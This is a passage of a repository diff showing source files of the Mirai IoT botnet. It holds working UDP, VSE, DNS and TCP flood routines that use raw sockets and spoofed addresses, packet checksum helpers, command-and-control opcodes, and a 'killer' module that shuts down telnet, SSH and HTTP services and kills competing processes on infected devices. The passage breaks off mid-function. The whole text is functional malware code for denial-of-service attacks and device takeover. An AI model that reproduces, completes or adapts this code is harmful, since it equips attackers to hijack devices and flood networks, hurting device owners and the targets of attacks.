tcph->ack_seq = htons(stomp_data[i].ack_seq);
tcph->check = 0;
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);
targs[i].sock_addr.sin_port = tcph->dest;
sendto(rfd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
}
#ifdef DEBUG
break;
if (errno != 0)
printf("errno = %d\n", errno);
#endif
}
}

547
mirai/bot/attack_udp.c Executable file
View File

@ -0,0 +1,547 @@
#define _GNU_SOURCE
#ifdef DEBUG
#include <stdio.h>
#endif
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <errno.h>
#include <fcntl.h>
#include "includes.h"
#include "attack.h"
#include "checksum.h"
#include "rand.h"
#include "util.h"
#include "table.h"
#include "protocol.h"
static ipv4_t get_dns_resolver(void);
void attack_udp_generic(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
int i, fd;
char **pkts = calloc(targs_len, sizeof (char *));
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
if (data_len > 1460)
data_len = 1460;
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1)
{
#ifdef DEBUG
printf("Failed to create raw socket. Aborting attack\n");
#endif
return;
}
i = 1;
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
{
#ifdef DEBUG
printf("Failed to set IP_HDRINCL. Aborting\n");
#endif
close(fd);
return;
}
for (i = 0; i < targs_len; i++)
{
struct iphdr *iph;
struct udphdr *udph;
pkts[i] = calloc(1510, sizeof (char));
iph = (struct iphdr *)pkts[i];
udph = (struct udphdr *)(iph + 1);
iph->version = 4;
iph->ihl = 5;
iph->tos = ip_tos;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
iph->id = htons(ip_ident);
iph->ttl = ip_ttl;
if (dont_frag)
iph->frag_off = htons(1 << 14);
iph->protocol = IPPROTO_UDP;
iph->saddr = source_ip;
iph->daddr = targs[i].addr;
udph->source = htons(sport);
udph->dest = htons(dport);
udph->len = htons(sizeof (struct udphdr) + data_len);
}
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *pkt = pkts[i];
struct iphdr *iph = (struct iphdr *)pkt;
struct udphdr *udph = (struct udphdr *)(iph + 1);
char *data = (char *)(udph + 1);
// For prefix attacks
if (targs[i].netmask < 32)
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
if (source_ip == 0xffffffff)
iph->saddr = rand_next();
if (ip_ident == 0xffff)
iph->id = (uint16_t)rand_next();
if (sport == 0xffff)
udph->source = rand_next();
if (dport == 0xffff)
udph->dest = rand_next();
// Randomize packet content?
if (data_rand)
rand_str(data, data_len);
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
udph->check = 0;
udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + data_len);
targs[i].sock_addr.sin_port = udph->dest;
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
}
#ifdef DEBUG
break;
if (errno != 0)
printf("errno = %d\n", errno);
#endif
}
}
void attack_udp_vse(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
int i, fd;
char **pkts = calloc(targs_len, sizeof (char *));
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 27015);
char *vse_payload;
int vse_payload_len;
table_unlock_val(TABLE_ATK_VSE);
vse_payload = table_retrieve_val(TABLE_ATK_VSE, &vse_payload_len);
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1)
{
#ifdef DEBUG
printf("Failed to create raw socket. Aborting attack\n");
#endif
return;
}
i = 1;
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
{
#ifdef DEBUG
printf("Failed to set IP_HDRINCL. Aborting\n");
#endif
close(fd);
return;
}
for (i = 0; i < targs_len; i++)
{
struct iphdr *iph;
struct udphdr *udph;
char *data;
pkts[i] = calloc(128, sizeof (char));
iph = (struct iphdr *)pkts[i];
udph = (struct udphdr *)(iph + 1);
data = (char *)(udph + 1);
iph->version = 4;
iph->ihl = 5;
iph->tos = ip_tos;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len);
iph->id = htons(ip_ident);
iph->ttl = ip_ttl;
if (dont_frag)
iph->frag_off = htons(1 << 14);
iph->protocol = IPPROTO_UDP;
iph->saddr = LOCAL_ADDR;
iph->daddr = targs[i].addr;
udph->source = htons(sport);
udph->dest = htons(dport);
udph->len = htons(sizeof (struct udphdr) + 4 + vse_payload_len);
*((uint32_t *)data) = 0xffffffff;
data += sizeof (uint32_t);
util_memcpy(data, vse_payload, vse_payload_len);
}
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *pkt = pkts[i];
struct iphdr *iph = (struct iphdr *)pkt;
struct udphdr *udph = (struct udphdr *)(iph + 1);
// For prefix attacks
if (targs[i].netmask < 32)
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
if (ip_ident == 0xffff)
iph->id = (uint16_t)rand_next();
if (sport == 0xffff)
udph->source = rand_next();
if (dport == 0xffff)
udph->dest = rand_next();
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
udph->check = 0;
udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len);
targs[i].sock_addr.sin_port = udph->dest;
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
}
#ifdef DEBUG
break;
if (errno != 0)
printf("errno = %d\n", errno);
#endif
}
}
void attack_udp_dns(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
int i, fd;
char **pkts = calloc(targs_len, sizeof (char *));
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 53);
uint16_t dns_hdr_id = attack_get_opt_int(opts_len, opts, ATK_OPT_DNS_HDR_ID, 0xffff);
uint8_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 12);
char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL);
int domain_len;
ipv4_t dns_resolver = get_dns_resolver();
if (domain == NULL)
{
#ifdef DEBUG
printf("Cannot send DNS flood without a domain\n");
#endif
return;
}
domain_len = util_strlen(domain);
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1)
{
#ifdef DEBUG
printf("Failed to create raw socket. Aborting attack\n");
#endif
return;
}
i = 1;
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
{
#ifdef DEBUG
printf("Failed to set IP_HDRINCL. Aborting\n");
#endif
close(fd);
return;
}
for (i = 0; i < targs_len; i++)
{
int ii;
uint8_t curr_word_len = 0, num_words = 0;
struct iphdr *iph;
struct udphdr *udph;
struct dnshdr *dnsh;
char *qname, *curr_lbl;
struct dns_question *dnst;
pkts[i] = calloc(600, sizeof (char));
iph = (struct iphdr *)pkts[i];
udph = (struct udphdr *)(iph + 1);
dnsh = (struct dnshdr *)(udph + 1);
qname = (char *)(dnsh + 1);
iph->version = 4;
iph->ihl = 5;
iph->tos = ip_tos;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question));
iph->id = htons(ip_ident);
iph->ttl = ip_ttl;
if (dont_frag)
iph->frag_off = htons(1 << 14);
iph->protocol = IPPROTO_UDP;
iph->saddr = LOCAL_ADDR;
iph->daddr = dns_resolver;
udph->source = htons(sport);
udph->dest = htons(dport);
udph->len = htons(sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question));
dnsh->id = htons(dns_hdr_id);
dnsh->opts = htons(1 << 8); // Recursion desired
dnsh->qdcount = htons(1);
// Fill out random area
*qname++ = data_len;
qname += data_len;
curr_lbl = qname;
util_memcpy(qname + 1, domain, domain_len + 1); // Null byte at end needed
// Write in domain
for (ii = 0; ii < domain_len; ii++)
{
if (domain[ii] == '.')
{
*curr_lbl = curr_word_len;
curr_word_len = 0;
num_words++;
curr_lbl = qname + ii + 1;
}
else
curr_word_len++;
}
*curr_lbl = curr_word_len;
dnst = (struct dns_question *)(qname + domain_len + 2);
dnst->qtype = htons(PROTO_DNS_QTYPE_A);
dnst->qclass = htons(PROTO_DNS_QCLASS_IP);
}
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *pkt = pkts[i];
struct iphdr *iph = (struct iphdr *)pkt;
struct udphdr *udph = (struct udphdr *)(iph + 1);
struct dnshdr *dnsh = (struct dnshdr *)(udph + 1);
char *qrand = ((char *)(dnsh + 1)) + 1;
if (ip_ident == 0xffff)
iph->id = rand_next() & 0xffff;
if (sport == 0xffff)
udph->source = rand_next() & 0xffff;
if (dport == 0xffff)
udph->dest = rand_next() & 0xffff;
if (dns_hdr_id == 0xffff)
dnsh->id = rand_next() & 0xffff;
rand_alphastr((uint8_t *)qrand, data_len);
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
udph->check = 0;
udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question));
targs[i].sock_addr.sin_addr.s_addr = dns_resolver;
targs[i].sock_addr.sin_port = udph->dest;
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question), MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
}
#ifdef DEBUG
break;
if (errno != 0)
printf("errno = %d\n", errno);
#endif
}
}
void attack_udp_plain(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
#ifdef DEBUG
printf("in udp plain\n");
#endif
int i;
char **pkts = calloc(targs_len, sizeof (char *));
int *fds = calloc(targs_len, sizeof (int));
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
struct sockaddr_in bind_addr = {0};
if (sport == 0xffff)
{
sport = rand_next();
} else {
sport = htons(sport);
}
#ifdef DEBUG
printf("after args\n");
#endif
for (i = 0; i < targs_len; i++)
{
struct iphdr *iph;
struct udphdr *udph;
char *data;
pkts[i] = calloc(65535, sizeof (char));
if (dport == 0xffff)
targs[i].sock_addr.sin_port = rand_next();
else
targs[i].sock_addr.sin_port = htons(dport);
if ((fds[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
{
#ifdef DEBUG
printf("Failed to create udp socket. Aborting attack\n");
#endif
return;
}
bind_addr.sin_family = AF_INET;
bind_addr.sin_port = sport;
bind_addr.sin_addr.s_addr = 0;
if (bind(fds[i], (struct sockaddr *)&bind_addr, sizeof (struct sockaddr_in)) == -1)
{
#ifdef DEBUG
printf("Failed to bind udp socket.\n");
#endif
}
// For prefix attacks
if (targs[i].netmask < 32)
targs[i].sock_addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
if (connect(fds[i], (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)) == -1)
{
#ifdef DEBUG
printf("Failed to connect udp socket.\n");
#endif
}
}
#ifdef DEBUG
printf("after setup\n");
#endif
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *data = pkts[i];
// Randomize packet content?
if (data_rand)
rand_str(data, data_len);
#ifdef DEBUG
errno = 0;
if (send(fds[i], data, data_len, MSG_NOSIGNAL) == -1)
{
printf("send failed: %d\n", errno);
} else {
printf(".\n");
}
#else
send(fds[i], data, data_len, MSG_NOSIGNAL);
#endif
}
#ifdef DEBUG
break;
if (errno != 0)
printf("errno = %d\n", errno);
#endif
}
}
static ipv4_t get_dns_resolver(void)
{
int fd;
table_unlock_val(TABLE_ATK_RESOLVER);
fd = open(table_retrieve_val(TABLE_ATK_RESOLVER, NULL), O_RDONLY);
table_lock_val(TABLE_ATK_RESOLVER);
if (fd >= 0)
{
int ret, nspos;
char resolvbuf[2048];
ret = read(fd, resolvbuf, sizeof (resolvbuf));
close(fd);
table_unlock_val(TABLE_ATK_NSERV);
nspos = util_stristr(resolvbuf, ret, table_retrieve_val(TABLE_ATK_NSERV, NULL));
table_lock_val(TABLE_ATK_NSERV);
if (nspos != -1)
{
int i;
char ipbuf[32];
BOOL finished_whitespace = FALSE;
BOOL found = FALSE;
for (i = nspos; i < ret; i++)
{
char c = resolvbuf[i];
// Skip leading whitespace
if (!finished_whitespace)
{
if (c == ' ' || c == '\t')
continue;
else
finished_whitespace = TRUE;
}
// End if c is not either a dot or a number
if ((c != '.' && (c < '0' || c > '9')) || (i == (ret - 1)))
{
util_memcpy(ipbuf, resolvbuf + nspos, i - nspos);
ipbuf[i - nspos] = 0;
found = TRUE;
break;
}
}
if (found)
{
#ifdef DEBUG
printf("Found local resolver: '%s'\n", ipbuf);
#endif
return inet_addr(ipbuf);
}
}
}
switch (rand_next() % 4)
{
case 0:
return INET_ADDR(8,8,8,8);
case 1:
return INET_ADDR(74,82,42,42);
case 2:
return INET_ADDR(64,6,64,6);
case 3:
return INET_ADDR(4,2,2,2);
}
}

53
mirai/bot/checksum.c Executable file
View File

@ -0,0 +1,53 @@
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <linux/ip.h>
#include "includes.h"
#include "checksum.h"
uint16_t checksum_generic(uint16_t *addr, uint32_t count)
{
register unsigned long sum = 0;
for (sum = 0; count > 1; count -= 2)
sum += *addr++;
if (count == 1)
sum += (char)*addr;
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
return ~sum;
}
uint16_t checksum_tcpudp(struct iphdr *iph, void *buff, uint16_t data_len, int len)
{
const uint16_t *buf = buff;
uint32_t ip_src = iph->saddr;
uint32_t ip_dst = iph->daddr;
uint32_t sum = 0;
int length = len;
while (len > 1)
{
sum += *buf;
buf++;
len -= 2;
}
if (len == 1)
sum += *((uint8_t *) buf);
sum += (ip_src >> 16) & 0xFFFF;
sum += ip_src & 0xFFFF;
sum += (ip_dst >> 16) & 0xFFFF;
sum += ip_dst & 0xFFFF;
sum += htons(iph->protocol);
sum += data_len;
while (sum >> 16)
sum = (sum & 0xFFFF) + (sum >> 16);
return ((uint16_t) (~sum));
}

9
mirai/bot/checksum.h Executable file
View File

@ -0,0 +1,9 @@
#pragma once
#include <stdint.h>
#include <linux/ip.h>
#include "includes.h"
uint16_t checksum_generic(uint16_t *, uint32_t);
uint16_t checksum_tcpudp(struct iphdr *, void *, uint16_t, int);

133
mirai/bot/includes.h Executable file
View File

@ -0,0 +1,133 @@
#pragma once
#include <unistd.h>
#include <stdint.h>
#include <stdarg.h>
#define STDIN 0
#define STDOUT 1
#define STDERR 2
#define FALSE 0
#define TRUE 1
typedef char BOOL;
typedef uint32_t ipv4_t;
typedef uint16_t port_t;
#define INET_ADDR(o1,o2,o3,o4) (htonl((o1 << 24) | (o2 << 16) | (o3 << 8) | (o4 << 0)))
#define SINGLE_INSTANCE_PORT 48101
#define FAKE_CNC_ADDR INET_ADDR(65,222,202,53)
#define FAKE_CNC_PORT 80
#define CNC_OP_PING 0x00
#define CNC_OP_KILLSELF 0x10
#define CNC_OP_KILLATTKS 0x20
#define CNC_OP_PROXY 0x30
#define CNC_OP_ATTACK 0x40
ipv4_t LOCAL_ADDR;
#ifdef DEBUG
static char *outptr;
static void xputc(char c)
{
if (outptr) {
*outptr++ = (unsigned char)c;
return;
} else {
write(0, &c, 1);
}
}
static void xputs(const char *str)
{
while (*str)
xputc(*str++);
}
static void xvprintf(const char *fmt, va_list arp)
{
unsigned int r, i, j, w, f;
unsigned long v;
char s[16], c, d, *p;
for (;;) {
c = *fmt++; /* Get a char */
if (!c) break; /* End of format? */
if (c != '%') { /* Pass through it if not a % sequense */
xputc(c); continue;
}
f = 0;
c = *fmt++; /* Get first char of the sequense */
if (c == '0') { /* Flag: '0' padded */
f = 1; c = *fmt++;
} else {
if (c == '-') { /* Flag: left justified */
f = 2; c = *fmt++;
}
}
for (w = 0; c >= '0' && c <= '9'; c = *fmt++) /* Minimum width */
w = w * 10 + c - '0';
if (c == 'l' || c == 'L') { /* Prefix: Size is long int */
f |= 4; c = *fmt++;
}
if (!c) break; /* End of format? */
d = c;
//toupper
if (d >= 'a') d -= 0x20;
switch (d) { /* Type is... */
case 'S' : /* String */
p = va_arg(arp, char*);
for (j = 0; p[j]; j++) ;
while (!(f & 2) && j++ < w) xputc(' ');
xputs(p);
while (j++ < w) xputc(' ');
continue;
case 'C' : /* Character */
xputc((char)va_arg(arp, int)); continue;
case 'B' : /* Binary */
r = 2; break;
case 'O' : /* Octal */
r = 8; break;
case 'D' : /* Signed decimal */
case 'U' : /* Unsigned decimal */
r = 10; break;
case 'X' : /* Hexdecimal */
r = 16; break;
default: /* Unknown type (passthrough) */
xputc(c); continue;
}
/* Get an argument and put it in numeral */
v = (f & 4) ? va_arg(arp, long) : ((d == 'D') ? (long)va_arg(arp, int) : (long)va_arg(arp, unsigned int));
if (d == 'D' && (v & 0x80000000)) {
v = 0 - v;
f |= 8;
}
i = 0;
do {
d = (char)(v % r); v /= r;
if (d > 9) d += (c == 'x') ? 0x27 : 0x07;
s[i++] = d + '0';
} while (v && i < sizeof(s));
if (f & 8) s[i++] = '-';
j = i; d = (f & 1) ? '0' : ' ';
while (!(f & 2) && j++ < w) xputc(d);
do xputc(s[--i]); while(i);
while (j++ < w) xputc(' ');
}
}
static void xprintf(const char *fmt, ...)
{
va_list arp;
va_start(arp, fmt);
xvprintf(fmt, arp);
va_end(arp);
}
#define printf xprintf
#endif

560
mirai/bot/killer.c Executable file
View File

@ -0,0 +1,560 @@
#define _GNU_SOURCE
#ifdef DEBUG
#include <stdio.h>
#endif
#include <unistd.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <linux/limits.h>
#include <sys/types.h>
#include <dirent.h>
#include <signal.h>
#include <fcntl.h>
#include <time.h>
#include "includes.h"
#include "killer.h"
#include "table.h"
#include "util.h"
int killer_pid;
char *killer_realpath;
int killer_realpath_len = 0;
void killer_init(void)
{
int killer_highest_pid = KILLER_MIN_PID, last_pid_scan = time(NULL), tmp_bind_fd;
uint32_t scan_counter = 0;
struct sockaddr_in tmp_bind_addr;
// Let parent continue on main thread
killer_pid = fork();
if (killer_pid > 0 || killer_pid == -1)
return;
tmp_bind_addr.sin_family = AF_INET;
tmp_bind_addr.sin_addr.s_addr = INADDR_ANY;
// Kill telnet service and prevent it from restarting
#ifdef KILLER_REBIND_TELNET
#ifdef DEBUG
printf("[killer] Trying to kill port 23\n");
#endif
if (killer_kill_by_port(htons(23)))
{
#ifdef DEBUG
printf("[killer] Killed tcp/23 (telnet)\n");
#endif
} else {
#ifdef DEBUG
printf("[killer] Failed to kill port 23\n");
#endif
}
tmp_bind_addr.sin_port = htons(23);
if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
{
bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
listen(tmp_bind_fd, 1);
}
#ifdef DEBUG
printf("[killer] Bound to tcp/23 (telnet)\n");
#endif
#endif
// Kill SSH service and prevent it from restarting
#ifdef KILLER_REBIND_SSH
if (killer_kill_by_port(htons(22)))
{
#ifdef DEBUG
printf("[killer] Killed tcp/22 (SSH)\n");
#endif
}
tmp_bind_addr.sin_port = htons(22);
if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
{
bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
listen(tmp_bind_fd, 1);
}
#ifdef DEBUG
printf("[killer] Bound to tcp/22 (SSH)\n");
#endif
#endif
// Kill HTTP service and prevent it from restarting
#ifdef KILLER_REBIND_HTTP
if (killer_kill_by_port(htons(80)))
{
#ifdef DEBUG
printf("[killer] Killed tcp/80 (http)\n");
#endif
}
tmp_bind_addr.sin_port = htons(80);
if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
{
bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
listen(tmp_bind_fd, 1);
}
#ifdef DEBUG
printf("[killer] Bound to tcp/80 (http)\n");
#endif
#endif
// In case the binary is getting deleted, we want to get the REAL realpath
sleep(5);
killer_realpath = malloc(PATH_MAX);
killer_realpath[0] = 0;
killer_realpath_len = 0;
if (!has_exe_access())
{
#ifdef DEBUG
printf("[killer] Machine does not have /proc/$pid/exe\n");
#endif
return;
}
#ifdef DEBUG
printf("[killer] Memory scanning processes\n");
#endif
while (TRUE)
{
DIR *dir;
struct dirent *file;
table_unlock_val(TABLE_KILLER_PROC);
if ((dir = opendir(table_retrieve_val(TABLE_KILLER_PROC, NULL))) == NULL)
{
#ifdef DEBUG
printf("[killer] Failed to open /proc!\n");
#endif
break;
}
table_lock_val(TABLE_KILLER_PROC);
while ((file = readdir(dir)) != NULL)
{
// skip all folders that are not PIDs
if (*(file->d_name) < '0' || *(file->d_name) > '9')
continue;
char exe_path[64], *ptr_exe_path = exe_path, realpath[PATH_MAX];
char status_path[64], *ptr_status_path = status_path;
int rp_len, fd, pid = atoi(file->d_name);
scan_counter++;
if (pid <= killer_highest_pid)
{
if (time(NULL) - last_pid_scan > KILLER_RESTART_SCAN_TIME) // If more than KILLER_RESTART_SCAN_TIME has passed, restart scans from lowest PID for process wrap
{
#ifdef DEBUG
printf("[killer] %d seconds have passed since last scan. Re-scanning all processes!\n", KILLER_RESTART_SCAN_TIME);
#endif
killer_highest_pid = KILLER_MIN_PID;
}
else
{
if (pid > KILLER_MIN_PID && scan_counter % 10 == 0)
sleep(1); // Sleep so we can wait for another process to spawn
}
continue;
}
if (pid > killer_highest_pid)
killer_highest_pid = pid;
last_pid_scan = time(NULL);
table_unlock_val(TABLE_KILLER_PROC);
table_unlock_val(TABLE_KILLER_EXE);
// Store /proc/$pid/exe into exe_path
ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
ptr_exe_path += util_strcpy(ptr_exe_path, file->d_name);
ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_EXE, NULL));
// Store /proc/$pid/status into status_path
ptr_status_path += util_strcpy(ptr_status_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
ptr_status_path += util_strcpy(ptr_status_path, file->d_name);
ptr_status_path += util_strcpy(ptr_status_path, table_retrieve_val(TABLE_KILLER_STATUS, NULL));
table_lock_val(TABLE_KILLER_PROC);
table_lock_val(TABLE_KILLER_EXE);
// Resolve exe_path (/proc/$pid/exe) -> realpath
if ((rp_len = readlink(exe_path, realpath, sizeof (realpath) - 1)) != -1)
{
realpath[rp_len] = 0; // Nullterminate realpath, since readlink doesn't guarantee a null terminated string
table_unlock_val(TABLE_KILLER_ANIME);
// If path contains ".anime" kill.
if (util_stristr(realpath, rp_len - 1, table_retrieve_val(TABLE_KILLER_ANIME, NULL)) != -1)
{
unlink(realpath);
kill(pid, 9);
}
table_lock_val(TABLE_KILLER_ANIME);
// Skip this file if its realpath == killer_realpath
if (pid == getpid() || pid == getppid() || util_strcmp(realpath, killer_realpath))
continue;
if ((fd = open(realpath, O_RDONLY)) == -1)
{
#ifdef DEBUG
printf("[killer] Process '%s' has deleted binary!\n", realpath);
#endif
kill(pid, 9);
}
close(fd);
}
if (memory_scan_match(exe_path))
{
#ifdef DEBUG
printf("[killer] Memory scan match for binary %s\n", exe_path);
#endif
kill(pid, 9);
}
/*
if (upx_scan_match(exe_path, status_path))
{
#ifdef DEBUG
printf("[killer] UPX scan match for binary %s\n", exe_path);
#endif
kill(pid, 9);
}
*/
// Don't let others memory scan!!!
util_zero(exe_path, sizeof (exe_path));
util_zero(status_path, sizeof (status_path));
sleep(1);
}
closedir(dir);
}
#ifdef DEBUG
printf("[killer] Finished\n");
#endif
}
void killer_kill(void)
{
kill(killer_pid, 9);
}
BOOL killer_kill_by_port(port_t port)
{
DIR *dir, *fd_dir;
struct dirent *entry, *fd_entry;
char path[PATH_MAX] = {0}, exe[PATH_MAX] = {0}, buffer[513] = {0};
int pid = 0, fd = 0;
char inode[16] = {0};
char *ptr_path = path;
int ret = 0;
char port_str[16];
#ifdef DEBUG
printf("[killer] Finding and killing processes holding port %d\n", ntohs(port));
#endif
util_itoa(ntohs(port), 16, port_str);
if (util_strlen(port_str) == 2)
{
port_str[2] = port_str[0];
port_str[3] = port_str[1];
port_str[4] = 0;
port_str[0] = '0';
port_str[1] = '0';
}
table_unlock_val(TABLE_KILLER_PROC);
table_unlock_val(TABLE_KILLER_EXE);
table_unlock_val(TABLE_KILLER_FD);
fd = open("/proc/net/tcp", O_RDONLY);
if (fd == -1)
return 0;
while (util_fdgets(buffer, 512, fd) != NULL)
{
int i = 0, ii = 0;
while (buffer[i] != 0 && buffer[i] != ':')
i++;
if (buffer[i] == 0) continue;
i += 2;
ii = i;
while (buffer[i] != 0 && buffer[i] != ' ')
i++;
buffer[i++] = 0;
// Compare the entry in /proc/net/tcp to the hex value of the htons port
if (util_stristr(&(buffer[ii]), util_strlen(&(buffer[ii])), port_str) != -1)
{
int column_index = 0;
BOOL in_column = FALSE;
BOOL listening_state = FALSE;
while (column_index < 7 && buffer[++i] != 0)
{
if (buffer[i] == ' ' || buffer[i] == '\t')
in_column = TRUE;
else
{
if (in_column == TRUE)
column_index++;
if (in_column == TRUE && column_index == 1 && buffer[i + 1] == 'A')
{
listening_state = TRUE;
}
in_column = FALSE;
}
}
ii = i;
if (listening_state == FALSE)
continue;
while (buffer[i] != 0 && buffer[i] != ' ')
i++;
buffer[i++] = 0;
if (util_strlen(&(buffer[ii])) > 15)
continue;
util_strcpy(inode, &(buffer[ii]));
break;
}
}
close(fd);
// If we failed to find it, lock everything and move on
if (util_strlen(inode) == 0)
{
#ifdef DEBUG
printf("Failed to find inode for port %d\n", ntohs(port));
#endif
table_lock_val(TABLE_KILLER_PROC);
table_lock_val(TABLE_KILLER_EXE);
table_lock_val(TABLE_KILLER_FD);
return 0;
}
#ifdef DEBUG
printf("Found inode \"%s\" for port %d\n", inode, ntohs(port));
#endif
if ((dir = opendir(table_retrieve_val(TABLE_KILLER_PROC, NULL))) != NULL)
{
while ((entry = readdir(dir)) != NULL && ret == 0)
{
char *pid = entry->d_name;
// skip all folders that are not PIDs
if (*pid < '0' || *pid > '9')
continue;
util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
util_strcpy(ptr_path + util_strlen(ptr_path), pid);
util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_EXE, NULL));
if (readlink(path, exe, PATH_MAX) == -1)
continue;
util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
util_strcpy(ptr_path + util_strlen(ptr_path), pid);
